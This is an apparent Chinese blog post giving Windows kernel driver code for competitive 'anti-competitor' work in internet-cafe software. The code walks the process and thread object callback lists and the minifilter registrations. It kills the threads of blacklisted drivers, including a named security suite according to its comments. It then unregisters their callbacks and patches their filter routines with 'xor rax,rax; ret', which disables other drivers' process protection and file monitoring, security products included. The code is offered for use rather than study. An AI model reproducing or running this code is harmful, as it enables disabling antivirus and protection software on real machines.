| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | //获取Ob回调地址并移除 POB_CALLBACK pObCallback = NULL; PVOID pObHandle[100] = { 0 }; int nObHandleCount = 0; //获取Ob回调地址并移除 for (``int i = 0; i < 2; i++) { ``LIST_ENTRY CallbackList; ``if (i==0) ``CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList; ``else ``CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList; ``// 开始遍历 ``pObCallback = (POB_CALLBACK)CallbackList.Flink; ``do ``{ ``if (FALSE == MmIsAddressValid(pObCallback)) ``{ ``break``; ``} ``if (NULL != pObCallback->ObHandle) ``{ ``// 显示 ``KdPrint((``"ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n"``, ``pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall)); ``PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall; ``if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) ``{ ``if (FindModuleByAddress(pSysModuleList, (``ULONG_PTR``)pPreOrPostCall, ``szDriverPath, &ulBase, &ulSize)) ``{ ``KdPrint((``"Driver is:%s\r\n"``, szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, ``"pci.sys"``); ``if (nKillOrSuspendThread & AdxxObProtectKill) ``//某hunter ``KillAdHunterObProtectThread(ulBase, ulSize); ``if (MmIsAddressValid(pObCallback->ObHandle)) ``{ ``if (pnKillCallback & KillObCallback) ``{ ``if (nObHandleCount < ``sizeof``(pObHandle) / ``sizeof``(``PVOID``)) ``{ ``pObHandle[nObHandleCount] = pObCallback->ObHandle; ``nObHandleCount++; ``KdPrint((``"Remove ObCallback!\r\n"``)); ``} ``} ``} ``} ``} ``} ``} ``// 获取下一链表信息 ``pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; ``} ``while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); } for (``int i=0;i< nObHandleCount;i++) { ``ObUnRegisterCallbacks(pObHandle[i]); } |

上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | //minifilter钩子移除 ULONG ulFilterListSize = 0; PFLT_FILTER* ppFilterList = NULL; LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; lOperationsOffset = GetMinifilterOperationsOffset(); if (0 == lOperationsOffset) { ``KdPrint((``"GetOperationsOffset Error\n"``)); ``ExFreePool(pSysModuleList); ``return``; } // 获取 Minifilter 过滤器Filter 的数量 FltEnumerateFilters(NULL, 0, &ulFilterListSize); ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool, ``ulFilterListSize * ``sizeof``(PFLT_FILTER), ``'hwb'``); if (NULL == ppFilterList) { ``KdPrint((``"ExAllocatePoolWithTag Error!\n"``)); ``ExFreePool(pSysModuleList); ``return``; } // 获取 Minifilter 中所有过滤器Filter 的信息 status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); if (!NT_SUCCESS(status)) { ``KdPrint((``"FltEnumerateFilters Error![0x%X]\n"``, status)); ``ExFreePool(pSysModuleList); ``ExFreePool(ppFilterList); ``return``; } // 开始遍历 Minifilter 中各个过滤器Filter 的信息 __try { ``for (i = 0; i < (``int``)ulFilterListSize; i++) ``{ ``// 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER ``pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(``PVOID *)((``PUCHAR``)ppFilterList[i] + lOperationsOffset)); ``__try ``{ ``// 同一过滤器下的回调信息 ``//DbgPrint("-------------------------------------------------------------------------------\n"); ``while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) ``{ ``{ ``PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation ``? (``PVOID``)pFltOperationRegistration->PreOperation : ``(``PVOID``)pFltOperationRegistration->PostOperation; ``if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) ``{ ``KdPrint((``"minifilter函数地址:0x%p\r\n"``, pPreOrPostCall)); ``if (FindModuleByAddress(pSysModuleList, (``ULONG_PTR``)pPreOrPostCall, ``szDriverPath, &ulBase, &ulSize)) ``{ ``KdPrint((``"Driver is:%s\r\n"``, szDriverPath)); ``nKillOrSuspendThread = pnKillCallback = 0; ``if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) ``{ ``KdPrint((``"Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"``, ``szDriverPath, (``PVOID``)ulBase, (``PVOID``)ulSize)); ``if (nKillOrSuspendThread & NormalKill) ``KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); ``if (nKillOrSuspendThread & SpecialKill) ``//某清x卫士 ``KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, ``"pci.sys"``); ``if (pnKillCallback & KillMinifilter) ``{ ``//此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除 ``//pFltOperationRegistration->PreOperation = NULL; ``//pFltOperationRegistration->PostOperation = NULL; ``//Patch ``char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; ``//xor rax,rax; ret ``if (pFltOperationRegistration->PreOperation) ``SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4); ``if (pFltOperationRegistration->PostOperation) ``SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4); ``KdPrint((``"Remove FileNotify Success\r\n"``)); ``} ``} ``} ``} ``} ``// 获取下一个消息回调信息 ``pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((``PUCHAR``)pFltOperationRegistration + ``sizeof``(FLT_OPERATION_REGISTRATION)); ``} ``//DbgPrint("-------------------------------------------------------------------------------\n"); ``} ``__except (EXCEPTION_EXECUTE_HANDLER) ``{ ``KdPrint((``"[2_EXCEPTION_EXECUTE_HANDLER]\n"``)); ``} ``FltObjectDereference(ppFilterList[i]); ``//记得一定要加此函数,否则卸载驱动会卡死 ``} } __except (EXCEPTION_EXECUTE_HANDLER) { ``KdPrint((``"[1_EXCEPTION_EXECUTE_HANDLER]\n"``)); } |

上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。

总结:

虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。

后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!

相关推荐
九河云1 小时前
确保在AWS上的资源安全:构建坚不可摧的云安全防线
安全·云计算·aws
马剑威(威哥爱编程)2 小时前
好用!推荐一个开源加密库 Bouncy Castle
java·安全·java-ee·bouncy castle
APItesterCris2 小时前
API 接入前的安全防线:注意事项全梳理
大数据·运维·服务器·开发语言·数据仓库·安全
HJ_SDK2 小时前
私有化通讯工具:安全、高效、个性化,重塑企业沟通生态
安全
白80803 小时前
Nginx越界读取缓存漏洞(CVE-2017-7529)
安全·web安全
云计算练习生4 小时前
深入剖析Docker容器安全:挑战与应对策略
安全·docker·容器
zqh176736464695 小时前
注册信息安全专业人员(CISP)和网络安全的联系与区别
网络·安全·web安全
Dola_Zou9 小时前
CodeMeter 8.20&AxProtector 11.50版本更新
安全·软件工程·软件加密
FreeBuf_12 小时前
SSHamble:一款针对SSH技术安全的研究与分析工具
运维·安全·ssh